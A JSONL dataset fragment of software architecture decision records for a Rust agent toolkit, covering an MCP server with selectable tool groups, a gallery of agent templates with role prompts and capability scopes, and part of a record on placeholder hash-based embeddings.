\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### 2. CLI Interface\n\n```bash\n# stdio mode (default for Claude Code integration)\nrvagent-mcp --transport stdio\n\n# SSE mode with port\nrvagent-mcp --transport sse --port 9000\n\n# Filter by tool groups\nrvagent-mcp --transport sse --groups file,shell,memory\n\n# Expose all tools\nrvagent-mcp --transport sse --all\n\n# With logging\nrvagent-mcp --transport sse --port 9000 --log-level debug\n\n# Help\nrvagent-mcp --help\n```\n\n### 3. Tool Groups\n\n| Group | Tools | Description |\n|-------|-------|-------------|\n| `file` | read_file, write_file, edit_file, ls, glob, grep | File system operations |\n| `shell` | execute, bash | Command execution |\n| `memory` | semantic_search, store_memory, retrieve_memory | Vector memory |\n| `agent` | spawn_agent, agent_status, orchestrate | Multi-agent |\n| `git` | git_status, git_commit, git_diff, git_log | Version control |\n| `web` | web_fetch, web_search | Web operations |\n| `brain` | brain_search, brain_share, brain_vote | \u03c0 Brain integration |\n| `task` | create_task, list_tasks, complete_task | Task management |\n\n### 4. SSE Protocol\n\n```\n# Client connects\nGET /sse HTTP/1.1\nAccept: text/event-stream\n\n# Server sends events\nevent: message\ndata: {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{...}}\n\n# Client sends requests via POST\nPOST /message HTTP/1.1\nContent-Type: application/json\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}\n```\n\n### 5. Implementation\n\n#### Cargo.toml additions\n\n```toml\n[[bin]]\nname = \"rvagent-mcp\"\npath = \"src/main.rs\"\n\n[dependencies]\nclap = { version = \"4.4\", features = [\"derive\"] }\naxum = { version = \"0.7\", features = [\"tokio\"] }\ntokio-stream = \"0.1\"\ntower-http = { version = \"0.5\", features = [\"cors\"] }\n```\n\n#### main.rs structure\n\n```rust\nuse clap::Parser;\n\n#[derive(Parser)]\n#[command(name = \"rvagent-mcp\")]\n#[command(about = \"rvAgent MCP Server\")]\nstruct Cli {\n /// Transport type\n #[arg(short, long, default_value = \"stdio\")]\n transport: Transport,\n\n /// Port for SSE server\n #[arg(short, long, default_value = \"9000\")]\n port: u16,\n\n /// Tool groups to expose\n #[arg(short, long, value_delimiter = ',')]\n groups: Option>,\n\n /// Expose all tools\n #[arg(long)]\n all: bool,\n\n /// Log level\n #[arg(long, default_value = \"info\")]\n log_level: String,\n}\n```\n\n---\n\n## Tool Group Definitions\n\n```rust\npub enum ToolGroup {\n File, // read, write, edit, ls, glob, grep\n Shell, // execute, bash\n Memory, // semantic_search, store, retrieve\n Agent, // spawn, status, orchestrate\n Git, // status, commit, diff, log\n Web, // fetch, search\n Brain, // search, share, vote\n Task, // create, list, complete\n All, // Everything\n}\n\nimpl ToolGroup {\n pub fn tools(&self) -> &[&str] {\n match self {\n Self::File => &[\"read_file\", \"write_file\", \"edit_file\", \"ls\", \"glob\", \"grep\"],\n Self::Shell => &[\"execute\", \"bash\"],\n Self::Memory => &[\"semantic_search\", \"store_memory\", \"retrieve_memory\"],\n Self::Agent => &[\"spawn_agent\", \"agent_status\", \"orchestrate\"],\n Self::Git => &[\"git_status\", \"git_commit\", \"git_diff\", \"git_log\"],\n Self::Web => &[\"web_fetch\", \"web_search\"],\n Self::Brain => &[\"brain_search\", \"brain_share\", \"brain_vote\"],\n Self::Task => &[\"create_task\", \"list_tasks\", \"complete_task\"],\n Self::All => &[], // Special case: include everything\n }\n }\n}\n```\n\n---\n\n## Consequences\n\n### Positive\n\n1. **Claude Code Integration**: stdio transport works natively\n2. **Web Client Support**: SSE enables RuVocal direct connection\n3. **Selective Exposure**: Tool groups limit attack surface\n4. **Flexibility**: CLI args for different deployment scenarios\n5. **Standards Compliance**: MCP protocol compatible\n\n### Negative\n\n1. **Binary Size**: axum adds ~2MB to binary\n2. **Complexity**: Two transport implementations to maintain\n3. **Port Allocation**: SSE requires available port\n\n### Risks\n\n1. **SSE Timeout**: Long-running connections may disconnect\n2. **CORS Issues**: Browser security may block SSE\n3. **Memory**: Many concurrent SSE clients consume RAM\n\n---\n\n## Implementation Status\n\n| Component | Status | Location |\n|-----------|--------|----------|\n| CLI binary | \u2705 Complete | `src/main.rs` |\n| SseTransport | \u2705 Complete | `src/transport.rs` |\n| Tool groups | \u2705 Complete | `src/groups.rs` |\n| stdio mode | \u2705 Complete | `src/transport.rs` |\n| Integration tests | \u2705 Complete | `tests/` |\n\n---\n\n## Usage Examples\n\n### Claude Code Integration\n\n```json\n{\n \"mcpServers\": {\n \"rvagent\": {\n \"command\": \"rvagent-mcp\",\n \"args\": [\"--transport\", \"stdio\", \"--groups\", \"file,shell\"]\n }\n }\n}\n```\n\n### RuVocal Connection\n\n```typescript\nconst sse = new EventSource('http://localhost:9000/sse');\nsse.onmessage = (event) => {\n const response = JSON.parse(event.data);\n handleMcpResponse(response);\n};\n\n// Send request\nfetch('http://localhost:9000/message', {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({\n jsonrpc: '2.0',\n id: 1,\n method: 'tools/list',\n params: {}\n })\n});\n```\n\n### Docker Deployment\n\n```dockerfile\nFROM rust:1.75-slim\nCOPY --from=builder /app/target/release/rvagent-mcp /usr/local/bin/\nEXPOSE 9000\nCMD [\"rvagent-mcp\", \"--transport\", \"sse\", \"--port\", \"9000\", \"--all\"]\n```\n\n---\n\n## References\n\n- [MCP Specification](https://spec.modelcontextprotocol.io/)\n- [Server-Sent Events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events)\n- [rvAgent Tools](../crates/rvAgent/rvagent-tools/)\n- [ADR-111 RuVocal Integration](./ADR-111-ruvocal-ui-rvagent-integration.md)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-112-rvagent-mcp-server.md", "created_at": "2026-03-28T11:58:49.945061+00:00", "content_hash": "edffc7dbe06398e30b72d65009ebb838dd9217bdc9fdcb93f6e382815edb2331"} +{"id": "0d50a3c0-f064-4c02-ba29-399866382194", "source": "adr", "text": "# ADR-113: RVF App Gallery and Ruvix-Powered Applications\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-15 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Depends** | ADR-087, ADR-100, ADR-106, ADR-107, ADR-112 |\n| **Crates** | `rvagent-wasm` |\n\n## Context\n\nThe rvAgent WASM module now supports RVF containers, MCP tools, and Ruvix capabilities. However, users need pre-built agent templates and applications that leverage these capabilities without building containers from scratch.\n\n### Inspiration: Claude Flow\n\nClaude Flow provides 60+ agent types with specialized configurations for various tasks. Similarly, the RVF App Gallery provides ready-to-use agent templates packaged as RVF containers, with:\n\n1. **Pre-built prompts** for specific roles (coder, researcher, tester, etc.)\n2. **Tool configurations** for each agent type\n3. **Skill definitions** with triggers\n4. **MCP tool bindings** for standardized interfaces\n5. **Ruvix capabilities** for security-first execution\n6. **Orchestrator configs** for multi-agent swarms\n\n---\n\n## Decision\n\n### 1. RVF App Gallery Module\n\nCreate a gallery module in `rvagent-wasm` that provides pre-built templates.\n\n#### 1.1 Module Structure\n\n```\ncrates/rvAgent/rvagent-wasm/src/\n gallery.rs # Gallery module\n - TemplateCategory enum\n - GalleryTemplate struct\n - Built-in templates (6 initial)\n - WasmGallery class (WASM-exported)\n```\n\n#### 1.2 Template Categories\n\n```rust\npub enum TemplateCategory {\n Development, // Coding, debugging, refactoring\n Research, // Analysis, information gathering\n Testing, // QA, test generation, coverage\n Documentation, // Docs, API specs, comments\n DevOps, // CI/CD, deployment, monitoring\n Security, // Vulnerability scanning, audits\n Orchestration, // Multi-agent coordination\n Custom, // User-defined templates\n}\n```\n\n#### 1.3 GalleryTemplate Structure\n\n```rust\npub struct GalleryTemplate {\n pub id: String, // Unique identifier\n pub name: String, // Display name\n pub description: String, // Template description\n pub category: TemplateCategory, // Category for organization\n pub version: String, // Semantic version\n pub author: String, // Template author\n pub tags: Vec, // Searchable tags\n pub tools: Vec, // Tool definitions\n pub prompts: Vec, // System prompts\n pub skills: Vec, // Skills with triggers\n pub mcp_tools: Vec, // MCP tool bindings\n pub capabilities: Vec, // Ruvix capabilities\n pub orchestrator: Option, // Multi-agent config\n pub builtin: bool, // Built-in vs custom\n}\n```\n\n---\n\n### 2. Built-in Templates\n\n#### 2.1 Coder Agent\n\n| Field | Value |\n|-------|-------|\n| ID | `coder` |\n| Category | Development |\n| Tools | `analyze_code` |\n| Skills | `/refactor`, `/explain` |\n| MCP Tools | `read_file`, `write_file`, `edit_file` |\n| Capabilities | `file_read` (sandbox), `file_write` (sandbox) |\n\n**System Prompt:**\n```\nYou are an expert software engineer. Write clean, efficient, and\nwell-documented code. Follow best practices and design patterns.\nAlways consider edge cases and error handling.\n```\n\n#### 2.2 Research Agent\n\n| Field | Value |\n|-------|-------|\n| ID | `researcher` |\n| Category | Research |\n| Tools | `web_search`, `summarize` |\n| Skills | `/deepdive` |\n| MCP Tools | `read_file` |\n| Capabilities | `file_read` (sandbox, delegation:1), `web_access` (network) |\n\n**System Prompt:**\n```\nYou are a meticulous research assistant. Gather comprehensive\ninformation from multiple sources, verify facts, identify patterns,\nand synthesize findings into clear, well-organized reports.\nAlways cite sources and acknowledge limitations.\n```\n\n#### 2.3 Testing Agent\n\n| Field | Value |\n|-------|-------|\n| ID | `tester` |\n| Category | Testing |\n| Tools | `generate_tests` |\n| Skills | `/coverage` |\n| MCP Tools | `read_file`, `write_file` |\n| Capabilities | `file_read` (sandbox), `file_write` (sandbox) |\n\n**System Prompt:**\n```\nYou are a thorough QA engineer. Write comprehensive tests covering\nedge cases, error conditions, and happy paths. Analyze code coverage\nand identify untested paths. Follow testing best practices and TDD principles.\n```\n\n#### 2.4 Code Review Agent\n\n| Field | Value |\n|-------|-------|\n| ID | `reviewer` |\n| Category | Development |\n| Tools | `review_diff` |\n| Skills | `/security` |\n| MCP Tools | `read_file` |\n| Capabilities | `file_read` (sandbox, delegation:2) |\n\n**System Prompt:**\n```\nYou are a senior code reviewer. Analyze code for quality, security\nvulnerabilities, performance issues, and adherence to best practices.\nProvide constructive feedback with specific suggestions for improvement.\n```\n\n#### 2.5 Security Agent\n\n| Field | Value |\n|-------|-------|\n| ID | `security` |\n| Category | Security |\n| Tools | `scan_vulnerabilities` |\n| Skills | `/threatmodel` |\n| MCP Tools | `read_file` |\n| Capabilities | `file_read` (sandbox) |\n\n**System Prompt:**\n```\nYou are a security expert. Identify vulnerabilities, analyze attack\nvectors, and recommend mitigations. Follow OWASP guidelines and\nsecurity best practices. Be thorough and prioritize findings by severity.\n```\n\n#### 2.6 Swarm Orchestrator\n\n| Field | Value |\n|-------|-------|\n| ID | `swarm-orchestrator` |\n| Category | Orchestration |\n| Topology | Hierarchical |\n| Agents | queen, coder-1, tester-1, reviewer-1 |\n| Connections | queen\u2192coder, queen\u2192tester, queen\u2192reviewer, coder\u2192tester, tester\u2192reviewer |\n| MCP Tools | `read_file`, `write_file` |\n| Capabilities | `file_read` (delegation:3), `file_write` (delegation:2) |\n\n**Orchestrator Config:**\n```json\n{\n \"topology\": \"hierarchical\",\n \"agents\": [\n { \"id\": \"queen\", \"agent_type\": \"coordinator\", \"prompt_ref\": \"queen\" },\n { \"id\": \"coder-1\", \"agent_type\": \"coder\", \"prompt_ref\": \"coder\" },\n { \"id\": \"tester-1\", \"agent_type\": \"tester\", \"prompt_ref\": \"tester\" },\n { \"id\": \"reviewer-1\", \"agent_type\": \"reviewer\", \"prompt_ref\": \"reviewer\" }\n ],\n \"connections\": [\n [\"queen\", \"coder-1\"],\n [\"queen\", \"tester-1\"],\n [\"queen\", \"reviewer-1\"],\n [\"coder-1\", \"tester-1\"],\n [\"tester-1\", \"reviewer-1\"]\n ]\n}\n```\n\n---\n\n### 3. WasmGallery API\n\n#### 3.1 WASM-Exported Methods\n\n```rust\n#[wasm_bindgen]\nimpl WasmGallery {\n /// List all templates\n pub fn list(&self) -> Result;\n\n /// List by category\n pub fn list_by_category(&self, category: &str) -> Result;\n\n /// Search templates by query\n pub fn search(&self, query: &str) -> Result;\n\n /// Get template by ID\n pub fn get(&self, id: &str) -> Result;\n\n /// Load template as RVF container (returns Uint8Array)\n pub fn load_rvf(&self, id: &str) -> Result;\n\n /// Set active template\n pub fn set_active(&mut self, id: &str) -> Result<(), JsValue>;\n\n /// Get active template ID\n pub fn get_active(&self) -> Option;\n\n /// Configure active template\n pub fn configure(&mut self, config_json: &str) -> Result<(), JsValue>;\n\n /// Add custom template\n pub fn add_custom(&mut self, template_json: &str) -> Result<(), JsValue>;\n\n /// Remove custom template\n pub fn remove_custom(&mut self, id: &str) -> Result<(), JsValue>;\n\n /// Get categories with counts\n pub fn get_categories(&self) -> Result;\n\n /// Export custom templates\n pub fn export_custom(&self) -> Result;\n\n /// Import custom templates\n pub fn import_custom(&mut self, templates_json: &str) -> Result;\n}\n```\n\n#### 3.2 JavaScript Usage\n\n```javascript\nimport { WasmGallery, WasmMcpServer } from '@ruvector/rvagent/wasm';\n\n// Create gallery instance\nconst gallery = new WasmGallery();\n\n// List all templates\nconst templates = gallery.list();\nconsole.log(templates);\n// [\n// { id: \"coder\", name: \"Coder Agent\", category: \"development\", ... },\n// { id: \"researcher\", name: \"Research Agent\", category: \"research\", ... },\n// ...\n// ]\n\n// Search templates\nconst securityAgents = gallery.search(\"security vulnerability\");\n\n// Get template details\nconst coderTemplate = gallery.get(\"coder\");\nconsole.log(coderTemplate.tools);\nconsole.log(coderTemplate.capabilities);\n\n// Load as RVF container\nconst rvfBytes = gallery.loadRvf(\"coder\");\nconsole.log(`RVF size: ${rvfBytes.length} bytes`);\n\n// Set active template\ngallery.setActive(\"coder\");\n\n// Configure active template\ngallery.configure(JSON.stringify({ maxTurns: 100 }));\n\n// Add custom template\ngallery.addCustom(JSON.stringify({\n id: \"my-agent\",\n name: \"My Custom Agent\",\n description: \"A custom agent for my workflow\",\n category: \"custom\",\n version: \"1.0.0\",\n author: \"user\",\n tags: [\"custom\", \"workflow\"],\n tools: [],\n prompts: [{\n name: \"custom\",\n system_prompt: \"You are a helpful assistant.\",\n version: \"1.0.0\"\n }],\n skills: [],\n mcp_tools: [],\n capabilities: []\n}));\n```\n\n---\n\n### 4. MCP Integration\n\n#### 4.1 Gallery MCP Tools\n\nThe MCP server exposes gallery operations:\n\n| Method | Description |\n|--------|-------------|\n| `gallery/list` | List all templates |\n| `gallery/search` | Search templates by query |\n| `gallery/get` | Get template by ID |\n| `gallery/load` | Load template as active |\n| `gallery/configure` | Configure active template |\n| `gallery/categories` | Get categories with counts |\n\n#### 4.2 MCP Tool Definitions\n\n```json\n{\n \"name\": \"gallery_list\",\n \"description\": \"List all available gallery templates\",\n \"inputSchema\": {\n \"type\": \"object\",\n \"properties\": {\n \"category\": { \"type\": \"string\", \"description\": \"Filter by category\" }\n }\n }\n}\n```\n\n```json\n{\n \"name\": \"gallery_load\",\n \"description\": \"Load a gallery template by ID\",\n \"inputSchema\": {\n \"type\": \"object\",\n \"properties\": {\n \"id\": { \"type\": \"string\", \"description\": \"Template ID\" }\n },\n \"required\": [\"id\"]\n }\n}\n```\n\n#### 4.3 Usage via MCP\n\n```javascript\nconst mcp = new WasmMcpServer();\n\n// List templates via MCP\nconst listResponse = mcp.handleMessage(JSON.stringify({\n jsonrpc: \"2.0\",\n id: 1,\n method: \"gallery/list\"\n}));\n\n// Load a template\nconst loadResponse = mcp.handleMessage(JSON.stringify({\n jsonrpc: \"2.0\",\n id: 2,\n method: \"gallery/load\",\n params: { id: \"coder\" }\n}));\n\n// Get prompts from active template\nconst promptsResponse = mcp.handleMessage(JSON.stringify({\n jsonrpc: \"2.0\",\n id: 3,\n method: \"prompts/list\"\n}));\n```\n\n---\n\n### 5. Ruvix Capability Model\n\nEach template defines capabilities following the Ruvix kernel security model:\n\n#### 5.1 Capability Definition\n\n```rust\npub struct CapabilityDef {\n pub name: String, // Unique capability name\n pub rights: Vec, // Allowed operations\n pub scope: String, // Boundary (sandbox, local, network)\n pub delegation_depth: u8, // Max delegation hops (0 = no delegation)\n}\n```\n\n#### 5.2 Scope Hierarchy\n\n| Scope | Description | Example Operations |\n|-------|-------------|-------------------|\n| `sandbox` | Isolated virtual filesystem | read_file, write_file |\n| `local` | Host filesystem (restricted) | read_config, write_logs |\n| `network` | Network access | web_fetch, api_call |\n| `system` | System operations | execute_command |\n\n#### 5.3 Delegation Depth\n\n- **0**: No delegation (capability cannot be passed to sub-agents)\n- **1**: Single hop (capability can be delegated once)\n- **2+**: Multi-hop (capability chains limited to N hops)\n\n**Example:**\n```rust\nCapabilityDef {\n name: \"file_read\".to_string(),\n rights: vec![\"read\".to_string()],\n scope: \"sandbox\".to_string(),\n delegation_depth: 2, // Can be delegated twice\n}\n```\n\n---\n\n### 6. Security Hardening\n\n#### 6.1 Gallery Limits\n\n```rust\n/// Maximum number of custom templates\npub const MAX_CUSTOM_TEMPLATES: usize = 100;\n\n/// Maximum template name length\npub const MAX_TEMPLATE_NAME_LENGTH: usize = 64;\n\n/// Maximum template description length\npub const MAX_TEMPLATE_DESC_LENGTH: usize = 512;\n```\n\n#### 6.2 Input Validation\n\n- Template IDs validated for allowed characters\n- JSON payloads size-limited\n- Search queries sanitized and length-limited\n\n---\n\n### 7. Future Applications\n\n#### 7.1 Additional Templates (Planned)\n\n| ID | Category | Description |\n|----|----------|-------------|\n| `api-designer` | Documentation | OpenAPI/Swagger spec generation |\n| `db-architect` | Development | Database schema design |\n| `perf-engineer` | DevOps | Performance profiling and optimization |\n| `data-analyst` | Research | Data exploration and visualization |\n| `ux-reviewer` | Documentation | UX/accessibility analysis |\n| `cicd-pipeline` | DevOps | CI/CD workflow generation |\n| `security-swarm` | Orchestration | Multi-agent security scanning |\n| `tdd-london` | Testing | London School TDD with mocks |\n\n#### 7.2 Template Marketplace\n\nFuture versions will support:\n- **IPFS-backed distribution** for decentralized template sharing\n- **Template versioning** with semantic versioning\n- **Template ratings** and community reviews\n- **Template dependencies** for composition\n\n---\n\n### 8. Integration with Claude Flow\n\nThe RVF App Gallery complements Claude Flow's TypeScript agents:\n\n| Claude Flow Agent | RVF Gallery Template | Notes |\n|-------------------|---------------------|-------|\n| `coder` | `coder` | Same capabilities, WASM execution |\n| `researcher` | `researcher` | Same capabilities, WASM execution |\n| `tester` | `tester` | Same capabilities, WASM execution |\n| `reviewer` | `reviewer` | Same capabilities, WASM execution |\n| `security-architect` | `security` | Focused security template |\n| `hierarchical-coordinator` | `swarm-orchestrator` | Multi-agent coordination |\n\n---\n\n## Consequences\n\n### Positive\n\n1. **Faster Agent Setup**: Pre-built templates reduce configuration time\n2. **Consistent Patterns**: Templates enforce best practices\n3. **Security-First**: Ruvix capabilities define clear boundaries\n4. **Portable**: RVF containers work across environments\n5. **Extensible**: Custom templates for specialized workflows\n\n### Negative\n\n1. **Template Maintenance**: Templates require updates for new patterns\n2. **Learning Curve**: Users must understand capability model\n3. **Size Overhead**: Built-in templates add to WASM bundle\n\n### Neutral\n\n1. **Template Selection**: Users must choose appropriate templates\n2. **Customization**: Some users may prefer building from scratch\n\n---\n\n## Implementation Status\n\n| Component | Status |\n|-----------|--------|\n| `gallery.rs` module | Implemented |\n| 6 built-in templates | Implemented |\n| WasmGallery API | Implemented |\n| MCP gallery tools | Implemented |\n| Security limits | Implemented |\n| Tests | 61 tests passing |\n\n---\n\n## References\n\n- ADR-087: Ruvix Cognition Kernel\n- ADR-100: DeepAgents RVF Integration Crate Structure\n- ADR-106: Ruvix Kernel RVF Integration\n- ADR-107: rvAgent Native Swarm Orchestration with WASM Integration\n- ADR-112: rvAgent MCP Server\n- Claude Flow: https://github.com/ruvnet/claude-flow", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-113-rvf-app-gallery-ruvix-applications.md", "created_at": "2026-03-28T11:58:49.945203+00:00", "content_hash": "719ba34e645e10a27d66a07e78600008c90582e7e23dd38da8687ae0447eb7aa"} +{"id": "8b1e1a25-f52c-4cab-9772-dc71cb26ac32", "source": "adr", "text": "# ADR-114: Ruvector-Core Hash Placeholder Embeddings\n\n**Status**: Accepted\n**Date**: 2026-03-16\n**Authors**: ruv.io, RuVector Architecture Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n**Relates to**: ADR-058 (Hash Security Hardening), ADR-029 (RVF Canonical Format)\n\n## Context\n\n### Current Embedding Implementation\n\nThe `ruvector-core` crate provides a pluggable embedding system via the `EmbeddingProvider` trait. The default implementation, `HashEmbedding`, uses a **non-semantic hash-based approach** that is explicitly marked as a placeholder.\n\n**Critical Warning in lib.rs (lines 15-20)**:\n```rust\n//! - **AgenticDB**: \u26a0\ufe0f\u26a0\ufe0f\u26a0\ufe0f **CRITICAL WARNING** \u26a0\ufe0f\u26a0\ufe0f\u26a0\ufe0f\n//! - Uses PLACEHOLDER hash-based embeddings, NOT real semantic embeddings\n//! - \"dog\" and \"cat\" will NOT be similar (different characters)\n//! - \"dog\" and \"god\" WILL be similar (same characters) - **This is wrong!**\n//! - **MUST integrate real embedding model for production** (ONNX, Candle, or API)\n```\n\n### Hash Placeholders Identified\n\n| Component | Location | Type | Status |\n|-----------|----------|------|--------|\n| `HashEmbedding` | `embeddings.rs:44-93` | Byte-level hash embedding | Placeholder - NOT semantic |\n| `CandleEmbedding` | `embeddings.rs:107-178` | Transformer stub | Stub - returns error |\n| Deprecation warning | `lib.rs:100-106` | Compile-time | Active warning |\n\n### HashEmbedding Algorithm (embeddings.rs:67-83)\n\n```rust\nfn embed(&self, text: &str) -> Result> {\n let mut embedding = vec![0.0; self.dimensions];\n let bytes = text.as_bytes();\n\n for (i, byte) in bytes.iter().enumerate() {\n embedding[i % self.dimensions] += (*byte as f32) / 255.0;\n }\n\n // Normalize to unit vector\n let norm: f32 = embedding.iter().map(|x| x * x).sum::().sqrt();\n if norm > 0.0 {\n for val in &mut embedding { *val /= norm; }\n }\n Ok(embedding)\n}\n```\n\n**Why This Is Wrong for Semantic Search**:\n- Operates on raw byte values, not meaning\n- \"dog\" (100,111,103) and \"cat\" (99,97,116) share no similarity\n- \"dog\" and \"god\" (103,111,100) are highly similar (same bytes, different order)\n- No understanding of synonyms, context, or language\n\n### Distinction from ADR-058\n\nADR-058 addresses **content integrity hashing** in the RVF wire format:\n- XXH3-128 for segment checksums\n- SHAKE-256 for cryptographic integrity\n- Timing-safe verification\n\nThis ADR addresses **semantic embedding hashing** in ruvector-core:\n- Vector representations of text meaning\n- Similarity search and nearest-neighbor queries\n- Production embedding model integration\n\nThese are orthogonal concerns with different security and functionality requirements.\n\n## Decision\n\n### 1. Explicit Placeholder Naming\n\nThe `HashEmbedding::name()` method returns `\"HashEmbedding (placeholder)\"` to ensure visibility in logs and debugging. This naming convention must be preserved.\n\n### 2. Compile-Time Deprecation Warning\n\nMaintain the compile-time warning (lib.rs:100-106) that triggers when the `storage` feature is enabled:\n\n```rust\n#[deprecated(\n since = \"0.1.0\",\n note = \"AgenticDB uses placeholder hash-based embeddings. For semantic search,\n integrate a real embedding model (ONNX, Candle, or API).\n See /examples/onnx-embeddings for production setup.\"\n)]\nconst AGENTICDB_EMBEDDING_WARNING: () = ();\n```\n\n### 3. Supported Production Alternatives\n\nFive production paths are documented and supported:\n\n| Provider | Location | Use Case | Recommended |\n|----------|----------|----------|-------------|\n| **`OnnxEmbedding`** | `ruvector-core` (feature: `onnx-embeddings`) | Direct ONNX Runtime embeddings (all-MiniLM-L6-v2) | \u2705 **PRIMARY** |\n| **RuvLLM ONNX** | `ruvllm` crate / `@ruvector/ruvllm` | Real semantic embeddings with SONA learning | \u2705 Yes |\n| `RuvectorIntegration` | `ruvllm::ruvector_integration` | Full HNSW + SONA learning stack | \u2705 Yes |\n| `ApiEmbedding` | `ruvector-core` (feature: `api-embeddings`) | External APIs (OpenAI, Cohere, Voyage) | \u2705 Yes |\n| Custom `EmbeddingProvider` | N/A | User-implemented models | Yes |\n\n### 4. RuvLLM as Primary Replacement (RECOMMENDED)\n\n**RuvLLM provides real semantic embeddings** via ONNX runtime \u2014 this is the recommended replacement for `HashEmbedding`:\n\n**Locations**:\n- TypeScript: `npm/packages/ruvector/src/core/onnx-embedder.ts`\n- Rust: `crates/ruvllm/src/ruvector_integration.rs`\n\n**Capabilities**:\n- **Model**: `all-MiniLM-L6-v2` (384-dimensional transformer embeddings)\n- **Type**: Real semantic embeddings via ONNX WASM runtime\n- **NOT hash-based** \u2014 actual transformer model inference\n- Batch processing with parallel workers (3.8x speedup)\n- Optional SIMD acceleration\n- Model auto-download from HuggingFace on first use\n\n**TypeScript/JavaScript** (npm):\n```typescript\nimport { OnnxEmbedder } from 'ruvector';\n\nconst embedder = new OnnxEmbedder({ modelId: 'all-MiniLM-L6-v2' });\nawait embedder.initialize();\n\nconst result = await embedder.embed(\"hello world\");\n// result.embedding: number[] (384-dimensional REAL semantic embedding)\n// \"dog\" and \"cat\" WILL be similar (semantic understanding)\n```\n\n**Rust** (via ruvllm crate):\n```rust\nuse ruvllm::ruvector_integration::{RuvectorIntegration, IntegrationConfig};\n\nlet config = IntegrationConfig::default(); // 384-dim embeddings\nlet integration = RuvectorIntegration::new(config)?;\n\n// Full stack: HNSW indexing + SONA learning + semantic search\nlet decision = integration.route_with_intelligence(\"implement auth\", &embedding)?;\nintegration.learn_from_outcome(&task, decision.agent, true)?;\n```\n\n**Why RuvLLM over ApiEmbedding**:\n\n| Aspect | RuvLLM ONNX | ApiEmbedding |\n|--------|-------------|--------------|\n| Latency | 5-50ms (local) | 50-200ms (network) |\n| Cost | Free | $0.02-0.13/1M tokens |\n| Privacy | Data stays local | Data sent to API |\n| Offline | \u2705 Works offline | \u274c Requires internet |\n| SONA Learning | \u2705 Integrated | \u274c Separate setup |\n| Batch Processing | \u2705 Parallel workers | \u274c Sequential API calls |\n\n### 5. CandleEmbedding Stub Behavior\n\nThe `CandleEmbedding::from_pretrained()` method intentionally returns an error:\n\n```rust\nErr(RuvectorError::ModelLoadError(format!(\n \"Candle embedding support is a stub. Please:\\n\\\n 1. Use RuvLLM ONNX embeddings (recommended)\\n\\\n 2. Or use ApiEmbedding for external APIs\\n\\\n 3. See docs for ruvllm integration examples\",\n model_id\n)))\n```\n\nThis ensures users cannot accidentally use a non-functional embedding provider.\n\n### 6. ApiEmbedding as Fallback\n\nFor deployments where RuvLLM is not available, `ApiEmbedding` provides external API access:\n- **OpenAI**: `text-embedding-3-small` (1536 dims), `text-embedding-3-large` (3072 dims)\n- **Cohere**: `embed-english-v3.0` (1024 dims)\n- **Voyage**: `voyage-2` (1024 dims), `voyage-large-2` (1536 dims)\n\n## Consequences\n\n### Positive\n\n- Clear documentation prevents accidental production use of placeholder embeddings\n- Pluggable architecture allows drop-in replacement\n- Compile-time warnings surface issues during development\n- Multiple integration paths support diverse deployment scenarios\n\n### Negative\n\n- Default behavior is intentionally broken for semantic search\n- Users must take explicit action to enable real embeddings\n- API-based embeddings add latency and cost\n- Local model support (Candle) requires additional implementation\n\n### Trade-offs\n\n| Approach | Latency | Cost | Quality | Complexity |\n|----------|---------|------|---------|------------|\n| HashEmbedding | <1ms | Free | Poor (non-semantic) | None |\n| **`OnnxEmbedding`** | **5-50ms** | **Free** | **High** | **Model download (~90MB)** |\n| RuvLLM ONNX | 5-50ms | Free | High | Model download (~90MB) |\n| RuvectorIntegration | 5-50ms | Free | High + Learning | SONA setup |\n| ApiEmbedding | 50-200ms | $0.02-0.13/1M tokens | High | API key management |\n| Candle (future) | 10-100ms | Free | High | Heavy dependencies |\n\n## Implementation Checklist\n\n### Completed\n- [x] `HashEmbedding` with explicit placeholder naming\n- [x] `EmbeddingProvider` trait for pluggable providers\n- [x] `ApiEmbedding` with OpenAI, Cohere, Voyage support\n- [x] Compile-time deprecation warning\n- [x] Documentation in lib.rs and embeddings.rs\n- [x] **RuvLLM ONNX embeddings** (`OnnxEmbedder` in npm, `RuvectorIntegration` in Rust)\n- [x] **SONA learning integration** via `ruvllm::ruvector_integration`\n- [x] **Parallel batch processing** with worker threads\n- [x] **`OnnxEmbedding` in ruvector-core** (feature: `onnx-embeddings`) \u2014 Direct ONNX Runtime integration using ort 2.0\n\n### Pending (Future PRs)\n- [ ] Full Candle implementation (replace stub)\n- [ ] Benchmark suite comparing provider performance\n\n## Usage Examples\n\n### Production (RuvLLM - RECOMMENDED)\n\n**TypeScript/JavaScript:**\n```typescript\nimport { OnnxEmbedder } from 'ruvector';\n\n// Initialize once (downloads model on first use)\nconst embedder = new OnnxEmbedder({\n modelId: 'all-MiniLM-L6-v2',\n enableParallel: true, // 3.8x speedup for batches\n});\nawait embedder.initialize();\n\n// Single embedding\nconst result = await embedder.embed(\"hello world\");\nconsole.log(result.embedding.length); // 384\n\n// Batch embedding 